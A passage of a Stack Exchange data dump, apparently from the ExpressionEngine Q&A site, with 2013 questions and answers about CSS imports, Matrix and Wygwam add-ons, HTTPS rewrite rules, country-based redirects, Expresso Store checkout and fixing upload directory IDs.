  <row Id="9333" PostTypeId="2" ParentId="9321" CreationDate="2013-04-14T14:51:40.293" Score="0" Body="&lt;p&gt;I presume you've created a 'CSS' templates to run your CSS through? If you're using @import then I think you'll either need to use the full path to the other CSS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import(/path/to/css);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can use regular path variables using the template_group/template pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import({path='template_group/template'});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a general tip though &lt;a href=&quot;http://www.stevesouders.com/blog/2009/04/09/dont-use-import/&quot; rel=&quot;nofollow&quot;&gt;using @import is best avoided&lt;/a&gt; if possible from a performance point of view. It will ad an extra roundtrip to your page loads and in IE it will see the imports load out of order which can cause issues. If you have multiple stylesheets you'll be better off using something like &lt;a href=&quot;http://devot-ee.com/add-ons/minimee&quot; rel=&quot;nofollow&quot;&gt;Minimee&lt;/a&gt; to minimise, combine, and compress your CSS files for much better performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also link to regular CSS files without needing to run through CSS specific templates.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-14T14:51:40.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9334" PostTypeId="2" ParentId="9327" CreationDate="2013-04-14T15:00:34.247" Score="2" Body="&lt;p&gt;Personally I wouldn't look to switch to a different method unless you have a particular need to. If I were given the same scenario I would go with the same method that you use and combine Matrix and CE Image to apply watermarks on an ad-hoc basis. That combination sounds like it should both work well and do everything that you need it to do. If it aint broke, don't fix it! ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the only benefit you may get to using Channel Images is the ability to upload multiple files at once rather than one per row but unless you have a &lt;em&gt;lot&lt;/em&gt; of images per entry and this is really becoming a burden then I honestly think the extra work in changing things and the time in doing so wouldn't be worth the extra benefit.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-14T15:00:34.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9335" PostTypeId="2" ParentId="9331" CreationDate="2013-04-14T15:21:38.533" Score="1" Body="&lt;p&gt;You still need to point Wygwam to the new styleset. In Addons &gt; Modules &gt; Wygwam, select the configuration you want to use. Then you'll see the '&lt;em&gt;CSS File&lt;/em&gt;' field. This is where you place the full path to your CSS file to be applied to the Wygwam field. Copy that in here and hit '&lt;em&gt;Update&lt;/em&gt;' and you should see your styles applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p8LrN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-14T15:21:38.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9336" PostTypeId="1" AcceptedAnswerId="9338" CreationDate="2013-04-14T15:25:57.043" Score="2" ViewCount="1289" Body="&lt;p&gt;I'm having an issue with Matrix where after upgrading from Matrix 2.4.3 to 2.5.3 I get this error on every page of the site regardless of the content on the page. Any ideas on how to fix this would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'is_draft' in 'where clause'&#xA;&#xA;SELECT row_id, col_id_1, col_id_2, col_id_3 FROM exp_matrix_data WHERE field_id = 17 AND entry_id = 1048 AND is_draft = 0 ORDER BY row_order ASC LIMIT 1&#xA;&#xA;Filename: third_party/matrix/ft.matrix.php&#xA;&#xA;Line Number: 2808&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Site specifications&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.3&lt;/li&gt;&#xA;&lt;li&gt;PHP Version 5.3.20&lt;/li&gt;&#xA;&lt;li&gt;SQL 5.0.77&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Plugins&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Structure&lt;/li&gt;&#xA;&lt;li&gt;Matrix&lt;/li&gt;&#xA;&lt;li&gt;WYGWAM&lt;/li&gt;&#xA;&lt;li&gt;Playa&lt;/li&gt;&#xA;&lt;li&gt;Assets&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="357" LastActivityDate="2013-06-18T18:25:18.127" Title="Matrix error before and after upgrade" Tags="|matrix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9338" PostTypeId="2" ParentId="9336" CreationDate="2013-04-14T18:40:47.470" Score="12" Body="&lt;p&gt;It sounds like Matrix may not have completed it's update routine. Did you go to Add-Ons → Fieldtypes → Matrix to trigger the update script?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-14T18:40:47.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9339" PostTypeId="2" ParentId="9315" CreationDate="2013-04-14T19:08:13.987" Score="1" Body="&lt;p&gt;Digital Surgeons recently released an add-on to address this specific situation. Here's a snippet from their overview text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But unlike other SEO add-ons, you can manage SEO meta data on pages&#xA;  which are not entries.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I haven't used it myself, but it looks pretty nifty. Take a look: &lt;a href=&quot;http://devot-ee.com/add-ons/surgeeo&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/surgeeo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-04-14T19:08:13.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9340" PostTypeId="1" AcceptedAnswerId="9346" CreationDate="2013-04-14T21:55:24.797" Score="3" ViewCount="522" Body="&lt;p&gt;I'm running EE multi-site manager (MSM).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;My default site's domain (say, www.default.com) is where the /themes folder is housed.&lt;/li&gt;&#xA;&lt;li&gt;So, for my second site (say, www.site-two.com), all of the EE and third-party theme files (js, css, etc) are being pull from www.default.com/themes/*&lt;/li&gt;&#xA;&lt;li&gt;Site two is secure, using https (via .htaccess), since it's running Expresso's Store and requires SSL. Default site is not https.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My problem is that the requests to the EE and third-party theme files (from the default site) are not completing because they're being requested as &lt;a href=&quot;https://www.default.com/themes/&quot; rel=&quot;nofollow&quot;&gt;https://www.default.com/themes/&lt;/a&gt;* instead of http://...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current .htaccess mod_rewrite section&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;## -- force www -- ##&#xA;RewriteCond %{HTTP_HOST} ^site-two\.com$ [NC]&#xA;RewriteRule ^(.*)$ http://www.site-two.com/$1 [R=301,L]&#xA;&#xA;## -- force https -- ##&#xA;RewriteCond %{HTTPS} off&#xA;RewriteCond %{HTTP_HOST} ^www\.site-two\.com$  [NC]&#xA;RewriteRule .* https://www.site-two.com/%1%2  [R=301,L]&#xA;&#xA;## -- remove index.php -- ##&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried endless .htaccess variations with no success. I don't even know if I'm wanting is possible. I'd like to avoid making www.default.com secured (more money), if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NEW INFO PER ADRIAN'S FIRST ANSWER: Using Focus Lab's master config set up, I have this for the production config, which is why it at least pulling from the default site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['default_url']      = 'http://www.default.com';&#xA;$env_config['theme_folder_url']     = $env_config['default_url'] . '/themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Problem is this auto-generated script from the exp:store:checkout tag. See the &lt;code&gt;script.src&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!ExpressoStore.scriptElement) {&#xA;                var script = ExpressoStore.scriptElement = document.createElement(&quot;script&quot;);&#xA;                script.type = &quot;text/javascript&quot;; script.async = true;&#xA;                script.src = &quot;//www.default.com/themes/third_party/store/store.js&quot;;&#xA;                (document.getElementsByTagName(&quot;head&quot;)[0] || document.getElementsByTagName(&quot;body&quot;)[0]).appendChild(script);&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-04-15T15:05:06.750" LastActivityDate="2013-04-15T15:05:06.750" Title="htaccess, https, MSM, and Expresso Store" Tags="|expresso-store|multi-site-manager|htaccess|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9341" PostTypeId="1" CreationDate="2013-04-14T22:34:33.667" Score="0" ViewCount="75" Body="&lt;p&gt;Testing Wygwam 2.7 with a Youtube video uploaded via the Embed Media button, but the embed needs to be removed when an excerpt of the entry appears on the home page. Can this be done with Wygwam natively? &lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2013-04-15T00:36:14.700" Title="remove embedded media" Tags="|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9342" PostTypeId="2" ParentId="9323" CreationDate="2013-04-14T23:34:48.077" Score="1" Body="&lt;p&gt;Correct, those fields will not be functional in your front-end registration forms either. You need to set them to &quot;yes&quot; for that setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're wanting to hide those fields from the user in their EE profile edit page, then set the previous option regarding making it available in the public profile to &quot;no.&quot;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-04-14T23:34:48.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9343" PostTypeId="2" ParentId="8922" CreationDate="2013-04-14T23:40:54.030" Score="1" Body="&lt;p&gt;Here's my practical approach &lt;a href=&quot;http://digitalevangelist.net/blog/multi-lingual-expressionengine-practical&quot; rel=&quot;nofollow&quot;&gt;http://digitalevangelist.net/blog/multi-lingual-expressionengine-practical&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Freebie and Republic Variables mainly&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-04-14T23:40:54.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9344" PostTypeId="2" ParentId="9341" CreationDate="2013-04-15T00:36:14.700" Score="1" Body="&lt;p&gt;Sure thing. &lt;a href=&quot;http://pixelandtonic.com/wygwam/docs/templates&quot; rel=&quot;nofollow&quot;&gt;From the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{wygwam_field text_only=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will strip all other HTML as well, but for an excerpt that's probably desirable anyway.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-04-15T00:36:14.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9345" PostTypeId="1" CreationDate="2013-04-15T08:59:04.517" Score="3" ViewCount="465" Body="&lt;p&gt;We moved a completely running website to a new server. The whole migration worked out well. The domain name, server settings, paths, MySQL stayed identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However all uploaded images and assets created subfolders are not visible anymore in Assets. They're still available in the database and are also shown on the front end. Folder rights are OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After indexing assets again I'm getting the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JxFpf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="664" LastEditorUserId="28" LastEditDate="2013-11-03T18:05:09.910" LastActivityDate="2013-11-03T18:05:45.850" Title="Assets not displaying correctly after moving server" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9346" PostTypeId="2" ParentId="9340" CreationDate="2013-04-15T09:44:22.360" Score="4" Body="&lt;p&gt;This isn't really an issue with your htaccess. You need to look at using a simple EE config bootstrap file such as &lt;a href=&quot;https://gist.github.com/adrianmacneil/3862276&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; to automatically set &lt;code&gt;$config['theme_folder_url']&lt;/code&gt; as either HTTP or HTTPS depending on whether the current request is served over HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the most basic form, you could probably just add this to your &lt;code&gt;config.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($_SERVER['HTTPS']) || strtolower($_SERVER['HTTPS']) == 'off') {&#xA;    $config['theme_folder_url'] = 'http://www.example.com/themes';&#xA;} else {&#xA;    $config['theme_folder_url'] = 'https://www.example.com/themes';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-15T09:44:22.360" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9347" PostTypeId="1" CreationDate="2013-04-15T10:08:25.547" Score="1" ViewCount="866" Body="&lt;p&gt;I was wondering if it's possible to work out if it is a user's first visit to the site and then redirect them to another site based on their country of origin (perhaps through GeoIP), but if they come back to the uK site then just show them the UK site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps storing the first time visit check in a session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as an example, if it's someone's first visit to the .co.uk site and they are in Germany, then redirect them to the .de site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if they visit the .co.uk site again - then we can tell their intent is to see the UK site and we let them view it until the session expires.&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="466" LastEditDate="2013-04-15T10:14:39.540" LastActivityDate="2013-04-15T13:26:27.517" Title="Redirect user based on country" Tags="|sessions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9348" PostTypeId="1" AcceptedAnswerId="9356" CreationDate="2013-04-15T10:22:22.667" Score="3" ViewCount="169" Body="&lt;p&gt;Our client has requested that we add a final confirmation screen in checkout process that appears after the payment screen. This would seem a pretty simple addition, but having tried unsuccessfully to add one I found this in the Expresso Store docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'To give the user a choice between payment methods, you can either use the payment_method=&quot;&quot; parameter, or &lt;strong&gt;submit a payment_method field on the last page of your checkout&lt;/strong&gt;.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which suggests that payment HAS to occur on the last page of checkout wether or not the 'next' parameter is set on the store tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone managed to get a final screen working? If its not possible it would certainly be a useful option in future versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-04-15T15:06:32.363" Title="Expresso Store: Insert a final confirmation screen AFTER payment interface" Tags="|expresso-store|checkout|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9349" PostTypeId="2" ParentId="9345" CreationDate="2013-04-15T11:22:47.283" Score="2" Body="&lt;p&gt;Firstly, Assets disallows files and folders that begin with a dot or an underscore, as the convention is to user either of those prefixes for hidden files and folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to look out for is the Upload File Preferences - if you migrated between servers, are you sure that the physical server path to the Upload Filedirs remained the same as it is in the preferences?&lt;/p&gt;&#xA;" OwnerUserId="722" LastEditorUserId="28" LastEditDate="2013-11-03T18:05:45.850" LastActivityDate="2013-11-03T18:05:45.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9350" PostTypeId="2" ParentId="9347" CreationDate="2013-04-15T13:26:27.517" Score="1" Body="&lt;p&gt;You could set a cookie for their initial visit containing their original country. Then you could set a session using the same method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookies have a longer lifetime and won't get erased after the user leaves the site. This allows you to pull their country after they return. Setting the session variable holds their country site data for their current visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your code (php but expression engine plugins could do some of this) do something like this in your page header&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//test to see if the session has already been set&#xA;if (isset($_SESSION['country'])) {&#xA;   //redirect to http://test.$_SESSION['country'] if they are not already on that page;&#xA;} else {&#xA;&#xA;//if it hasn't, test to see if the cookie is set&#xA;   if (!isset($_COOKIE['country'])) {&#xA;     //if not, get that information&#xA;     setcookie(&quot;country&quot;, //however you get your country);&#xA;   }&#xA;&#xA;//Then start the new session and set country to the cookie&#xA;   session_start();&#xA;   $_SESSION['country'] = $_COOKIE['country'];&#xA;&#xA;   //then redirect based off of the session variable&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are several plugins that might save you from having to write this in php, like &lt;a href=&quot;http://devot-ee.com/add-ons/session-variables-plugin&quot; rel=&quot;nofollow&quot;&gt;Session Variables&lt;/a&gt;,&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/cookies&quot; rel=&quot;nofollow&quot;&gt;Cookies&lt;/a&gt;,&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/ipgeo&quot; rel=&quot;nofollow&quot;&gt;IPGeo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these, I am sure you can recreate that code following the same logic&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-04-15T13:26:27.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9351" PostTypeId="2" ParentId="9348" CreationDate="2013-04-15T14:21:04.530" Score="3" Body="&lt;p&gt;I'm not sure you really need a final confirmation screen AFTER payment because this is what the order confirmation page is for once you're returned to the site after paying for your goods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I provide an order summary page after the user has entered in the order details and before they make the payment as that is the time you want to display it to give them a final chance to review the order items, totals, shipping, and details before making the payment. I do this by just making an extra page and using the &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#next&quot; rel=&quot;nofollow&quot;&gt;Next&lt;/a&gt; attribute along with regular Store tags to sum it all up. The button on that page is the Submit button to make the payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this what you're after? I just can't see any reason why you'd need one after this page and before the order confirmation page after payment. Both of those cover all bases. If you're having trouble with the code to put that together then feel free to submit that here and I can edit it to show you how I handle it.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-15T14:21:04.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9352" PostTypeId="2" ParentId="9345" CreationDate="2013-04-15T14:23:30.417" Score="0" Body="&lt;p&gt;It looks like you just need to re-index but Assets is being a little cautious in checking that you want to delete the old references it has stored and replace with new ones. An re-index should stop Assets asking. I'm sure Andris or Lisa will be able to help out directly however if you're a little uneasy about removing old references (understandable).&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-15T14:23:30.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9353" PostTypeId="1" CreationDate="2013-04-15T14:34:53.453" Score="0" ViewCount="56" Body="&lt;p&gt;I have noticed a odd glitch on my CP log in page. When logging in adding my name and password I often find it takes two attempts to get into the CP ... the first loads but blanks the log in form and remains on the CP log in page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone else had experienced this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oNwsm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-04-15T14:34:53.453" Title="Log in Glitch on Log in Page" Tags="|login|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9354" PostTypeId="2" ParentId="9340" CreationDate="2013-04-15T14:37:15.980" Score="1" Body="&lt;p&gt;That's because your .htaccess file is forcing them over a secure connection. Stepping backwards for a second do you really need ALL areas of the site to be run over a secure connection? Generally you only want the checkout and the account section to be sure as it involves sensitive form submissions. The rest of the site isn't really necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with that in mind how about changing your .htaccess file so that you only specify the URL segments you wish to protect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Redirect to HTTPS if not using HTTPS  &#xA;RewriteEngine On &#xA;RewriteCond %{HTTPS} !=on&#xA;# Specify URL segments to ensure a secure connection &#xA;RewriteCond $1 ^(member|account|checkout|system) [NC]&#xA;# Rewrite requests to above segments over HTTPS&#xA;RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now instead of EVERY request being sent over HTTPS it will only send the segments you specify and should solve the problem.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-15T14:37:15.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9355" PostTypeId="2" ParentId="7713" CreationDate="2013-04-15T14:59:14.710" Score="1" Body="&lt;p&gt;I've just had a similar issue which, given the necessary permissions, Andris solved for me by adding an &lt;strong&gt;assets_site_url&lt;/strong&gt; config variable to config.php to point at my EE web root index.php. (Thanks, Andris!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I'm guessing this was necessary because my system is renamed and above web root (don't think it was a permissions issue).&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andris, feel free to add to this :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Post edit&lt;/strong&gt;: seems my issue was to do with the lack of a DirectoryIndex directive coupled with the rewrite rule for removing index.php in my .htaccess, and the consequent failure of Assets ajax. In other words, a properly configured DirectoryIndex directive negates the need for the config variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this may help someone.&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2013-04-15T15:34:24.293" LastActivityDate="2013-04-15T15:34:24.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9356" PostTypeId="2" ParentId="9348" CreationDate="2013-04-15T15:06:32.363" Score="5" Body="&lt;p&gt;Store doesn't support adding a final confirmation page AFTER you have already taken payment. As soon as payment is successful, the order is complete (that is why payment must be on the last page of your checkout).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You won't be able to support this without significantly modifying the checkout codde, and besides, only a few gateways would support it (the payment gateway would need to support authorize/capture, otherwise we would need to store the credit card details in the database which is a big no-no).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of this, normally you use the final page of the checkout as a &quot;confirmation&quot;, where you display the order details, and add a credit card form/paypal button which indicates the customer wants to proceed with the order.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-15T15:06:32.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9357" PostTypeId="2" ParentId="9007" CreationDate="2013-04-15T15:25:19.560" Score="1" Body="&lt;p&gt;There seems to be no way to do this out of the box, but the &lt;a href=&quot;http://devot-ee.com/add-ons/category-field&quot; rel=&quot;nofollow&quot;&gt;Category Field addon&lt;/a&gt; makes it possible (and is an excellent addon for categories generally!).&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-04-15T15:25:19.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9358" PostTypeId="1" AcceptedAnswerId="9360" CreationDate="2013-04-15T15:36:45.173" Score="1" ViewCount="93" Body="&lt;p&gt;I am rebuilding a current site from scratch and I've rebuilt the file upload directories and migrated all of the previous uploads over but now, the path variable in my links references the upload directory ID of my previous installation. Before, it was...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{filedir_8}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now, it's...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{filedir_2}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using WYGWAM v.2.7 and EE v.2.5.5. I am using CKFinder for the upload manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recommendations to correcting this? I know I could develop some sort of SQL query, but I am hoping there is another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-04-15T19:43:45.360" Title="Migrating EE to fresh install changed file upload directory ID - Now what?" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9359" PostTypeId="2" ParentId="9241" CreationDate="2013-04-15T15:43:25.083" Score="1" Body="&lt;p&gt;I can't answer your question specifically but here is an alternative that might work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the CE Cache modules and specifically their &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache/user-guide/basics&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Partial Caching option using the {exp:ce_cache:escape} tag&lt;/strong&gt;&lt;/a&gt;. The modules offers a memcache driver option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:escape}&#xA;    &amp;lt;p&amp;gt;{if logged_in}Hello {username}{if:else}Please log in{/if}&amp;lt;/p&amp;gt;&#xA;{/exp:ce_cache:escape}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use the Static driver (which is very fast) and have it only enabled for logged out users with the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache/user-guide/configuration&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$config\['ce_cache_fragment_logged_in_only'\] = 'yes';&lt;/code&gt;&lt;/a&gt; config setting.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-15T15:43:25.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9360" PostTypeId="2" ParentId="9358" CreationDate="2013-04-15T15:44:30.473" Score="2" Body="&lt;p&gt;The simplest thing to do would be to go into your new database and manually change the IDs of your upload directories in &lt;code&gt;exp_upload_prefs&lt;/code&gt; to match your old site. Use phpMyAdmin to do this if it's installed on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is assuming, of course, that you haven't made a bunch of new associations with the new directory ID since migrating.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Alternately, you can do a find and replace on each Wygwam field via SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data SET field_id_XX = REPLACE(field_id_XX,'filedir_8','filedir_2');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do this for each Wygwam field, replacing &lt;code&gt;field_id_XX&lt;/code&gt; with the actual &lt;code&gt;id&lt;/code&gt; for that field.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-04-15T19:43:45.360" LastActivityDate="2013-04-15T19:43:45.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9361" PostTypeId="1" CreationDate="2013-04-15T16:52:53.563" Score="3" ViewCount="339" Body="&lt;p&gt;Need to display if a Asset field within a Matrix field has a file or not.  While this works, the overhead is really high.  Is there a way to write this with less overhead?  Based on the EE template debug, here's the simplified snippet that causes the most lag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;       {exp:playa:parents}&#xA;          {if '{matrixfield search:assetfield=&quot;not IS_EMPTY&quot;}{row_id}{/matrixfield}'!=&quot;&quot;}&#xA;             I'm not blank!&#xA;          {/if}&#xA;       {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the search+row_id is most efficient way I've tested to write it, but it's still some 2k queries/8sec vs the 100/.xsec the site normally has.  With the Asset in Matrix, in Playa, in Entries I would expect some additional processing time.  Open to any ideas to try!&lt;/p&gt;&#xA;" OwnerUserId="843" LastActivityDate="2013-10-26T16:02:20.000" Title="More efficient way to check if Asset field is blank within Matrix" Tags="|assets|matrix|playa|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9362" PostTypeId="1" AcceptedAnswerId="9364" CreationDate="2013-04-15T17:20:12.963" Score="1" ViewCount="165" Body="&lt;p&gt;When using &lt;code&gt;{exp:channel:categories}&lt;/code&gt; to list categories, is it possible to sort the list by the number of entries each category has associated with it?&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2013-04-15T18:04:58.247" Title="Sort categories by amount of entries" Tags="|channel-entries|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
